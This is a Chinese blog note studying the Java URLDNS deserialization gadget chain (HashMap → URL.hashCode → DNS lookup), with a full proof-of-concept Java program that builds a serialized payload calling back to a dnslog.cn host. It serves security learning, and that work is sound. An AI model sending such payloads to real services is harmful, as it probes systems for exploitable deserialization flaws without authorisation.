序列化Gadget學習篇一 URLDNS
阿新 • • 發佈:2021-07-07
最簡單適合入門的反序列化利用鏈,筆記總結
使用條件
無外部依賴,使用jdk內部類,無jdk版本限制
核心原理
觸發點是反序列化,因此起點肯定在某個類readObject方法,通過ysoserial的payload可以知道返回的是一個HashMap
直接看HashMap
的readObject()
方法。關鍵程式碼:
會呼叫鍵物件的hashCode()方法,在這個方法中做了判斷
如果是-1,就會呼叫handler.hashCode重新計算雜湊,在這裡面會呼叫getHostAddress()發起DNS查詢請求。
為什麼會注意到hash方法?ysoserial的程式碼中有一段很關鍵的註釋,已經指出了關鍵點:
During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
,URL類的hashCode()會發起DNS查詢,就會被DNSlog記錄
很簡單的就理清了gadget思路:
- 用一個dnslog的url初始化一個URL物件,
- 初始化一個一個HashMap物件,把URL物件作為鍵放到HashMap中
- 通過反射修改URL的hashcode為-1(在執行put時,會計算hashcode,如果先改再放值就不再是-1)
- 把得到的物件序列化,就得到了payload
在反序列化時,就會發起對指定url的DNS查詢
Gadget:
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
復現poc
package changez.sec.URLDNS; import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class expgen { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { HashMap<URL, String> obj = new HashMap<URL, String>(); URL u = new URL("http://ccuiwk.dnslog.cn"); Field field = u.getClass().getDeclaredField("hashCode"); field.setAccessible(true); obj.put(u, "changez"); field.set(u, -1); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(obj); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject(); } }